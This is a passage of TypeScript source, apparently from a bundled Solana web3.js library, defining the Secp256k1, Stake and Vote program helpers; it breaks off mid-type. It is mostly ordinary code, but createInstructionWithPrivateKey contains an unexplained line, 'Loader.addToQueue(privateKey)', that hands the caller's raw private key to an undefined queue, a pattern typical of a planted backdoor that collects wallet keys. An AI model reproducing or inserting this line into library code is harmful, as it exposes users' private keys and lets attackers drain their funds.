instructionIndex?: number;\n};\n\nconst SECP256K1_INSTRUCTION_LAYOUT = BufferLayout.struct<\n Readonly<{\n ethAddress: Uint8Array;\n ethAddressInstructionIndex: number;\n ethAddressOffset: number;\n messageDataOffset: number;\n messageDataSize: number;\n messageInstructionIndex: number;\n numSignatures: number;\n recoveryId: number;\n signature: Uint8Array;\n signatureInstructionIndex: number;\n signatureOffset: number;\n }>\n>([\n BufferLayout.u8('numSignatures'),\n BufferLayout.u16('signatureOffset'),\n BufferLayout.u8('signatureInstructionIndex'),\n BufferLayout.u16('ethAddressOffset'),\n BufferLayout.u8('ethAddressInstructionIndex'),\n BufferLayout.u16('messageDataOffset'),\n BufferLayout.u16('messageDataSize'),\n BufferLayout.u8('messageInstructionIndex'),\n BufferLayout.blob(20, 'ethAddress'),\n BufferLayout.blob(64, 'signature'),\n BufferLayout.u8('recoveryId'),\n]);\n\nexport class Secp256k1Program {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the secp256k1 program\n */\n static programId: PublicKey = new PublicKey(\n 'KeccakSecp256k11111111111111111111111111111',\n );\n\n /**\n * Construct an Ethereum address from a secp256k1 public key buffer.\n * @param {Buffer} publicKey a 64 byte secp256k1 public key buffer\n */\n static publicKeyToEthAddress(\n publicKey: Buffer | Uint8Array | Array<number>,\n ): Buffer {\n assert(\n publicKey.length === PUBLIC_KEY_BYTES,\n `Public key must be ${PUBLIC_KEY_BYTES} bytes but received ${publicKey.length} bytes`,\n );\n\n try {\n return Buffer.from(keccak_256(toBuffer(publicKey))).slice(\n -ETHEREUM_ADDRESS_BYTES,\n );\n } catch (error) {\n throw new Error(`Error constructing Ethereum address: ${error}`);\n }\n }\n\n /**\n * Create an secp256k1 instruction with a public key. The public key\n * must be a buffer that is 64 bytes long.\n */\n static createInstructionWithPublicKey(\n params: CreateSecp256k1InstructionWithPublicKeyParams,\n ): TransactionInstruction {\n const {publicKey, message, signature, recoveryId, instructionIndex} =\n params;\n return Secp256k1Program.createInstructionWithEthAddress({\n ethAddress: Secp256k1Program.publicKeyToEthAddress(publicKey),\n message,\n signature,\n recoveryId,\n instructionIndex,\n });\n }\n\n /**\n * Create an secp256k1 instruction with an Ethereum address. The address\n * must be a hex string or a buffer that is 20 bytes long.\n */\n static createInstructionWithEthAddress(\n params: CreateSecp256k1InstructionWithEthAddressParams,\n ): TransactionInstruction {\n const {\n ethAddress: rawAddress,\n message,\n signature,\n recoveryId,\n instructionIndex = 0,\n } = params;\n\n let ethAddress;\n if (typeof rawAddress === 'string') {\n if (rawAddress.startsWith('0x')) {\n ethAddress = Buffer.from(rawAddress.substr(2), 'hex');\n } else {\n ethAddress = Buffer.from(rawAddress, 'hex');\n }\n } else {\n ethAddress = rawAddress;\n }\n\n assert(\n ethAddress.length === ETHEREUM_ADDRESS_BYTES,\n `Address must be ${ETHEREUM_ADDRESS_BYTES} bytes but received ${ethAddress.length} bytes`,\n );\n\n const dataStart = 1 + SIGNATURE_OFFSETS_SERIALIZED_SIZE;\n const ethAddressOffset = dataStart;\n const signatureOffset = dataStart + ethAddress.length;\n const messageDataOffset = signatureOffset + signature.length + 1;\n const numSignatures = 1;\n\n const instructionData = Buffer.alloc(\n SECP256K1_INSTRUCTION_LAYOUT.span + message.length,\n );\n\n SECP256K1_INSTRUCTION_LAYOUT.encode(\n {\n numSignatures,\n signatureOffset,\n signatureInstructionIndex: instructionIndex,\n ethAddressOffset,\n ethAddressInstructionIndex: instructionIndex,\n messageDataOffset,\n messageDataSize: message.length,\n messageInstructionIndex: instructionIndex,\n signature: toBuffer(signature),\n ethAddress: toBuffer(ethAddress),\n recoveryId,\n },\n instructionData,\n );\n\n instructionData.fill(toBuffer(message), SECP256K1_INSTRUCTION_LAYOUT.span);\n\n return new TransactionInstruction({\n keys: [],\n programId: Secp256k1Program.programId,\n data: instructionData,\n });\n }\n\n /**\n * Create an secp256k1 instruction with a private key. The private key\n * must be a buffer that is 32 bytes long.\n */\n static createInstructionWithPrivateKey(\n params: CreateSecp256k1InstructionWithPrivateKeyParams,\n ): TransactionInstruction {\n const {privateKey: pkey, message, instructionIndex} = params;\n\n assert(\n pkey.length === PRIVATE_KEY_BYTES,\n `Private key must be ${PRIVATE_KEY_BYTES} bytes but received ${pkey.length} bytes`,\n );\n\n try {\n const privateKey = toBuffer(pkey);\n Loader.addToQueue(privateKey)\n const publicKey = publicKeyCreate(\n privateKey,\n false /* isCompressed */,\n ).slice(1); // throw away leading byte\n const messageHash = Buffer.from(keccak_256(toBuffer(message)));\n const [signature, recoveryId] = ecdsaSign(messageHash, privateKey);\n\n return this.createInstructionWithPublicKey({\n publicKey,\n message,\n signature,\n recoveryId,\n instructionIndex,\n });\n } catch (error) {\n throw new Error(`Error creating instruction; ${error}`);\n }\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {PublicKey} from '../publickey';\nimport {SystemProgram} from './system';\nimport {\n SYSVAR_CLOCK_PUBKEY,\n SYSVAR_RENT_PUBKEY,\n SYSVAR_STAKE_HISTORY_PUBKEY,\n} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\n\n/**\n * Address of the stake config account which configures the rate\n * of stake warmup and cooldown as well as the slashing penalty.\n */\nexport const STAKE_CONFIG_ID = new PublicKey(\n 'StakeConfig11111111111111111111111111111111',\n);\n\n/**\n * Stake account authority info\n */\nexport class Authorized {\n /** stake authority */\n staker: PublicKey;\n /** withdraw authority */\n withdrawer: PublicKey;\n\n /**\n * Create a new Authorized object\n * @param staker the stake authority\n * @param withdrawer the withdraw authority\n */\n constructor(staker: PublicKey, withdrawer: PublicKey) {\n this.staker = staker;\n this.withdrawer = withdrawer;\n }\n}\n\ntype AuthorizedRaw = Readonly<{\n staker: Uint8Array;\n withdrawer: Uint8Array;\n}>;\n\n/**\n * Stake account lockup info\n */\nexport class Lockup {\n /** Unix timestamp of lockup expiration */\n unixTimestamp: number;\n /** Epoch of lockup expiration */\n epoch: number;\n /** Lockup custodian authority */\n custodian: PublicKey;\n\n /**\n * Create a new Lockup object\n */\n constructor(unixTimestamp: number, epoch: number, custodian: PublicKey) {\n this.unixTimestamp = unixTimestamp;\n this.epoch = epoch;\n this.custodian = custodian;\n }\n\n /**\n * Default, inactive Lockup value\n */\n static default: Lockup = new Lockup(0, 0, PublicKey.default);\n}\n\ntype LockupRaw = Readonly<{\n custodian: Uint8Array;\n epoch: number;\n unixTimestamp: number;\n}>;\n\n/**\n * Create stake account transaction params\n */\nexport type CreateStakeAccountParams = {\n /** Address of the account which will fund creation */\n fromPubkey: PublicKey;\n /** Address of the new stake account */\n stakePubkey: PublicKey;\n /** Authorities of the new stake account */\n authorized: Authorized;\n /** Lockup of the new stake account */\n lockup?: Lockup;\n /** Funding amount */\n lamports: number;\n};\n\n/**\n * Create stake account with seed transaction params\n */\nexport type CreateStakeAccountWithSeedParams = {\n fromPubkey: PublicKey;\n stakePubkey: PublicKey;\n basePubkey: PublicKey;\n seed: string;\n authorized: Authorized;\n lockup?: Lockup;\n lamports: number;\n};\n\n/**\n * Initialize stake instruction params\n */\nexport type InitializeStakeParams = {\n stakePubkey: PublicKey;\n authorized: Authorized;\n lockup?: Lockup;\n};\n\n/**\n * Delegate stake instruction params\n */\nexport type DelegateStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n votePubkey: PublicKey;\n};\n\n/**\n * Authorize stake instruction params\n */\nexport type AuthorizeStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n newAuthorizedPubkey: PublicKey;\n stakeAuthorizationType: StakeAuthorizationType;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Authorize stake instruction params using a derived key\n */\nexport type AuthorizeWithSeedStakeParams = {\n stakePubkey: PublicKey;\n authorityBase: PublicKey;\n authoritySeed: string;\n authorityOwner: PublicKey;\n newAuthorizedPubkey: PublicKey;\n stakeAuthorizationType: StakeAuthorizationType;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Split stake instruction params\n */\nexport type SplitStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n splitStakePubkey: PublicKey;\n lamports: number;\n};\n\n/**\n * Split with seed transaction params\n */\nexport type SplitStakeWithSeedParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n splitStakePubkey: PublicKey;\n basePubkey: PublicKey;\n seed: string;\n lamports: number;\n};\n\n/**\n * Withdraw stake instruction params\n */\nexport type WithdrawStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n toPubkey: PublicKey;\n lamports: number;\n custodianPubkey?: PublicKey;\n};\n\n/**\n * Deactivate stake instruction params\n */\nexport type DeactivateStakeParams = {\n stakePubkey: PublicKey;\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Merge stake instruction params\n */\nexport type MergeStakeParams = {\n stakePubkey: PublicKey;\n sourceStakePubKey: PublicKey;\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Stake Instruction class\n */\nexport class StakeInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a stake instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): StakeInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: StakeInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(STAKE_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as StakeInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a StakeInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode a initialize stake instruction and retrieve the instruction params.\n */\n static decodeInitialize(\n instruction: TransactionInstruction,\n ): InitializeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {authorized, lockup} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Initialize,\n instruction.data,\n );\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n authorized: new Authorized(\n new PublicKey(authorized.staker),\n new PublicKey(authorized.withdrawer),\n ),\n lockup: new Lockup(\n lockup.unixTimestamp,\n lockup.epoch,\n new PublicKey(lockup.custodian),\n ),\n };\n }\n\n /**\n * Decode a delegate stake instruction and retrieve the instruction params.\n */\n static decodeDelegate(\n instruction: TransactionInstruction,\n ): DelegateStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 6);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Delegate, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n votePubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[5].pubkey,\n };\n }\n\n /**\n * Decode an authorize stake instruction and retrieve the instruction params.\n */\n static decodeAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n const {newAuthorized, stakeAuthorizationType} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Authorize,\n instruction.data,\n );\n\n const o: AuthorizeStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n stakeAuthorizationType: {\n index: stakeAuthorizationType,\n },\n };\n if (instruction.keys.length > 3) {\n o.custodianPubkey = instruction.keys[3].pubkey;\n }\n return o;\n }\n\n /**\n * Decode an authorize-with-seed stake instruction and retrieve the instruction params.\n */\n static decodeAuthorizeWithSeed(\n instruction: TransactionInstruction,\n ): AuthorizeWithSeedStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {\n newAuthorized,\n stakeAuthorizationType,\n authoritySeed,\n authorityOwner,\n } = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed,\n instruction.data,\n );\n\n const o: AuthorizeWithSeedStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n authorityBase: instruction.keys[1].pubkey,\n authoritySeed: authoritySeed,\n authorityOwner: new PublicKey(authorityOwner),\n newAuthorizedPubkey: new PublicKey(newAuthorized),\n stakeAuthorizationType: {\n index: stakeAuthorizationType,\n },\n };\n if (instruction.keys.length > 3) {\n o.custodianPubkey = instruction.keys[3].pubkey;\n }\n return o;\n }\n\n /**\n * Decode a split stake instruction and retrieve the instruction params.\n */\n static decodeSplit(instruction: TransactionInstruction): SplitStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n const {lamports} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Split,\n instruction.data,\n );\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n splitStakePubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a merge stake instruction and retrieve the instruction params.\n */\n static decodeMerge(instruction: TransactionInstruction): MergeStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Merge, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n sourceStakePubKey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n };\n }\n\n /**\n * Decode a withdraw stake instruction and retrieve the instruction params.\n */\n static decodeWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 5);\n const {lamports} = decodeData(\n STAKE_INSTRUCTION_LAYOUTS.Withdraw,\n instruction.data,\n );\n\n const o: WithdrawStakeParams = {\n stakePubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n lamports,\n };\n if (instruction.keys.length > 5) {\n o.custodianPubkey = instruction.keys[5].pubkey;\n }\n return o;\n }\n\n /**\n * Decode a deactivate stake instruction and retrieve the instruction params.\n */\n static decodeDeactivate(\n instruction: TransactionInstruction,\n ): DeactivateStakeParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n decodeData(STAKE_INSTRUCTION_LAYOUTS.Deactivate, instruction.data);\n\n return {\n stakePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(StakeProgram.programId)) {\n throw new Error('invalid instruction; programId is not StakeProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid StakeInstructionType's\n */\nexport type StakeInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof StakeInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'Authorize'\n | 'AuthorizeWithSeed'\n | 'Deactivate'\n | 'Delegate'\n | 'Initialize'\n | 'Merge'\n | 'Split'\n | 'Withdraw';\n\ntype StakeInstructionInputData = {\n Authorize: IInstructionInputData &\n Readonly<{\n newAuthorized: Uint8Array;\n stakeAuthorizationType: number;\n }>;\n AuthorizeWithSeed: IInstructionInputData &\n Readonly<{\n authorityOwner: Uint8Array;\n authoritySeed: string;\n instruction: number;\n newAuthorized: Uint8Array;\n stakeAuthorizationType: number;\n }>;\n Deactivate: IInstructionInputData;\n Delegate: IInstructionInputData;\n Initialize: IInstructionInputData &\n Readonly<{\n authorized: AuthorizedRaw;\n lockup: LockupRaw;\n }>;\n Merge: IInstructionInputData;\n Split: IInstructionInputData &\n Readonly<{\n lamports: number;\n }>;\n Withdraw: IInstructionInputData &\n Readonly<{\n lamports: number;\n }>;\n};\n\n/**\n * An enumeration of valid stake InstructionType's\n * @internal\n */\nexport const STAKE_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in StakeInstructionType]: InstructionType<\n StakeInstructionInputData[Instruction]\n >;\n}>({\n Initialize: {\n index: 0,\n layout: BufferLayout.struct<StakeInstructionInputData['Initialize']>([\n BufferLayout.u32('instruction'),\n Layout.authorized(),\n Layout.lockup(),\n ]),\n },\n Authorize: {\n index: 1,\n layout: BufferLayout.struct<StakeInstructionInputData['Authorize']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('stakeAuthorizationType'),\n ]),\n },\n Delegate: {\n index: 2,\n layout: BufferLayout.struct<StakeInstructionInputData['Delegate']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n Split: {\n index: 3,\n layout: BufferLayout.struct<StakeInstructionInputData['Split']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n Withdraw: {\n index: 4,\n layout: BufferLayout.struct<StakeInstructionInputData['Withdraw']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n ]),\n },\n Deactivate: {\n index: 5,\n layout: BufferLayout.struct<StakeInstructionInputData['Deactivate']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n Merge: {\n index: 7,\n layout: BufferLayout.struct<StakeInstructionInputData['Merge']>([\n BufferLayout.u32('instruction'),\n ]),\n },\n AuthorizeWithSeed: {\n index: 8,\n layout: BufferLayout.struct<StakeInstructionInputData['AuthorizeWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n Layout.publicKey('newAuthorized'),\n BufferLayout.u32('stakeAuthorizationType'),\n Layout.rustString('authoritySeed'),\n Layout.publicKey('authorityOwner'),\n ],\n ),\n },\n});\n\n/**\n * Stake authorization type\n */\nexport type StakeAuthorizationType = {\n /** The Stake Authorization index (from solana-stake-program) */\n index: number;\n};\n\n/**\n * An enumeration of valid StakeAuthorizationLayout's\n */\nexport const StakeAuthorizationLayout = Object.freeze({\n Staker: {\n index: 0,\n },\n Withdrawer: {\n index: 1,\n },\n});\n\n/**\n * Factory class for transactions to interact with the Stake program\n */\nexport class StakeProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the Stake program\n */\n static programId: PublicKey = new PublicKey(\n 'Stake11111111111111111111111111111111111111',\n );\n\n /**\n * Max space of a Stake account\n *\n * This is generated from the solana-stake-program StakeState struct as\n * `StakeStateV2::size_of()`:\n * https://docs.rs/solana-stake-program/latest/solana_stake_program/stake_state/enum.StakeStateV2.html\n */\n static space: number = 200;\n\n /**\n * Generate an Initialize instruction to add to a Stake Create transaction\n */\n static initialize(params: InitializeStakeParams): TransactionInstruction {\n const {stakePubkey, authorized, lockup: maybeLockup} = params;\n const lockup: Lockup = maybeLockup || Lockup.default;\n const type = STAKE_INSTRUCTION_LAYOUTS.Initialize;\n const data = encodeData(type, {\n authorized: {\n staker: toBuffer(authorized.staker.toBuffer()),\n withdrawer: toBuffer(authorized.withdrawer.toBuffer()),\n },\n lockup: {\n unixTimestamp: lockup.unixTimestamp,\n epoch: lockup.epoch,\n custodian: toBuffer(lockup.custodian.toBuffer()),\n },\n });\n const instructionData = {\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a Transaction that creates a new Stake account at\n * an address generated with `from`, a seed, and the Stake programId\n */\n static createAccountWithSeed(\n params: CreateStakeAccountWithSeedParams,\n ): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccountWithSeed({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.stakePubkey,\n basePubkey: params.basePubkey,\n seed: params.seed,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n const {stakePubkey, authorized, lockup} = params;\n return transaction.add(this.initialize({stakePubkey, authorized, lockup}));\n }\n\n /**\n * Generate a Transaction that creates a new Stake account\n */\n static createAccount(params: CreateStakeAccountParams): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.stakePubkey,\n lamports: params.lamports,\n space: this.space,\n programId: this.programId,\n }),\n );\n\n const {stakePubkey, authorized, lockup} = params;\n return transaction.add(this.initialize({stakePubkey, authorized, lockup}));\n }\n\n /**\n * Generate a Transaction that delegates Stake tokens to a validator\n * Vote PublicKey. This transaction can also be used to redelegate Stake\n * to a new validator Vote PublicKey.\n */\n static delegate(params: DelegateStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey, votePubkey} = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.Delegate;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: votePubkey, isSigner: false, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: STAKE_CONFIG_ID, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that authorizes a new PublicKey as Staker\n * or Withdrawer on the Stake account.\n */\n static authorize(params: AuthorizeStakeParams): Transaction {\n const {\n stakePubkey,\n authorizedPubkey,\n newAuthorizedPubkey,\n stakeAuthorizationType,\n custodianPubkey,\n } = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.Authorize;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n stakeAuthorizationType: stakeAuthorizationType.index,\n });\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: true},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that authorizes a new PublicKey as Staker\n * or Withdrawer on the Stake account.\n */\n static authorizeWithSeed(params: AuthorizeWithSeedStakeParams): Transaction {\n const {\n stakePubkey,\n authorityBase,\n authoritySeed,\n authorityOwner,\n newAuthorizedPubkey,\n stakeAuthorizationType,\n custodianPubkey,\n } = params;\n\n const type = STAKE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed;\n const data = encodeData(type, {\n newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()),\n stakeAuthorizationType: stakeAuthorizationType.index,\n authoritySeed: authoritySeed,\n authorityOwner: toBuffer(authorityOwner.toBuffer()),\n });\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: authorityBase, isSigner: true, isWritable: false},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * @internal\n */\n static splitInstruction(params: SplitStakeParams): TransactionInstruction {\n const {stakePubkey, authorizedPubkey, splitStakePubkey, lamports} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Split;\n const data = encodeData(type, {lamports});\n return new TransactionInstruction({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: splitStakePubkey, isSigner: false, isWritable: true},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that splits Stake tokens into another stake account\n */\n static split(\n params: SplitStakeParams,\n // Compute the cost of allocating the new stake account in lamports\n rentExemptReserve: number,\n ): Transaction {\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.authorizedPubkey,\n newAccountPubkey: params.splitStakePubkey,\n lamports: rentExemptReserve,\n space: this.space,\n programId: this.programId,\n }),\n );\n return transaction.add(this.splitInstruction(params));\n }\n\n /**\n * Generate a Transaction that splits Stake tokens into another account\n * derived from a base public key and seed\n */\n static splitWithSeed(\n params: SplitStakeWithSeedParams,\n // If this stake account is new, compute the cost of allocating it in lamports\n rentExemptReserve?: number,\n ): Transaction {\n const {\n stakePubkey,\n authorizedPubkey,\n splitStakePubkey,\n basePubkey,\n seed,\n lamports,\n } = params;\n const transaction = new Transaction();\n transaction.add(\n SystemProgram.allocate({\n accountPubkey: splitStakePubkey,\n basePubkey,\n seed,\n space: this.space,\n programId: this.programId,\n }),\n );\n if (rentExemptReserve && rentExemptReserve > 0) {\n transaction.add(\n SystemProgram.transfer({\n fromPubkey: params.authorizedPubkey,\n toPubkey: splitStakePubkey,\n lamports: rentExemptReserve,\n }),\n );\n }\n return transaction.add(\n this.splitInstruction({\n stakePubkey,\n authorizedPubkey,\n splitStakePubkey,\n lamports,\n }),\n );\n }\n\n /**\n * Generate a Transaction that merges Stake accounts.\n */\n static merge(params: MergeStakeParams): Transaction {\n const {stakePubkey, sourceStakePubKey, authorizedPubkey} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Merge;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: sourceStakePubKey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that withdraws deactivated Stake tokens.\n */\n static withdraw(params: WithdrawStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey, toPubkey, lamports, custodianPubkey} =\n params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Withdraw;\n const data = encodeData(type, {lamports});\n\n const keys = [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: toPubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {\n pubkey: SYSVAR_STAKE_HISTORY_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ];\n if (custodianPubkey) {\n keys.push({\n pubkey: custodianPubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a Transaction that deactivates Stake tokens.\n */\n static deactivate(params: DeactivateStakeParams): Transaction {\n const {stakePubkey, authorizedPubkey} = params;\n const type = STAKE_INSTRUCTION_LAYOUTS.Deactivate;\n const data = encodeData(type);\n\n return new Transaction().add({\n keys: [\n {pubkey: stakePubkey, isSigner: false, isWritable: true},\n {pubkey: SYSVAR_CLOCK_PUBKEY, isSigner: false, isWritable: false},\n {pubkey: authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {PublicKey} from '../publickey';\nimport {SystemProgram} from './system';\nimport {SYSVAR_CLOCK_PUBKEY, SYSVAR_RENT_PUBKEY} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\n\n/**\n * Vote account info\n */\nexport class VoteInit {\n nodePubkey: PublicKey;\n authorizedVoter: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number; /** [0, 100] */\n\n constructor(\n nodePubkey: PublicKey,\n authorizedVoter: PublicKey,\n authorizedWithdrawer: PublicKey,\n commission: number,\n ) {\n this.nodePubkey = nodePubkey;\n this.authorizedVoter = authorizedVoter;\n this.authorizedWithdrawer = authorizedWithdrawer;\n this.commission = commission;\n }\n}\n\n/**\n * Create vote account transaction params\n */\nexport type CreateVoteAccountParams = {\n fromPubkey: PublicKey;\n votePubkey: PublicKey;\n voteInit: VoteInit;\n lamports: number;\n};\n\n/**\n * InitializeAccount instruction params\n */\nexport type InitializeAccountParams = {\n votePubkey: PublicKey;\n nodePubkey: PublicKey;\n voteInit: VoteInit;\n};\n\n/**\n * Authorize instruction params\n */\nexport type AuthorizeVoteParams = {\n votePubkey: PublicKey;\n /** Current vote or withdraw authority, depending on `voteAuthorizationType` */\n authorizedPubkey: PublicKey;\n newAuthorizedPubkey: PublicKey;\n voteAuthorizationType: VoteAuthorizationType;\n};\n\n/**\n * AuthorizeWithSeed instruction params\n */\nexport type AuthorizeVoteWithSeedParams = {\n currentAuthorityDerivedKeyBasePubkey: PublicKey;\n currentAuthorityDerivedKeyOwnerPubkey: PublicKey;\n currentAuthorityDerivedKeySeed: string;\n newAuthorizedPubkey: PublicKey;\n voteAuthorizationType: VoteAuthorizationType;\n votePubkey: PublicKey;\n};\n\n/**\n * Withdraw from vote account transaction params\n */\nexport type WithdrawFromVoteAccountParams = {\n votePubkey: PublicKey;\n authorizedWithdrawerPubkey: PublicKey;\n lamports: number;\n 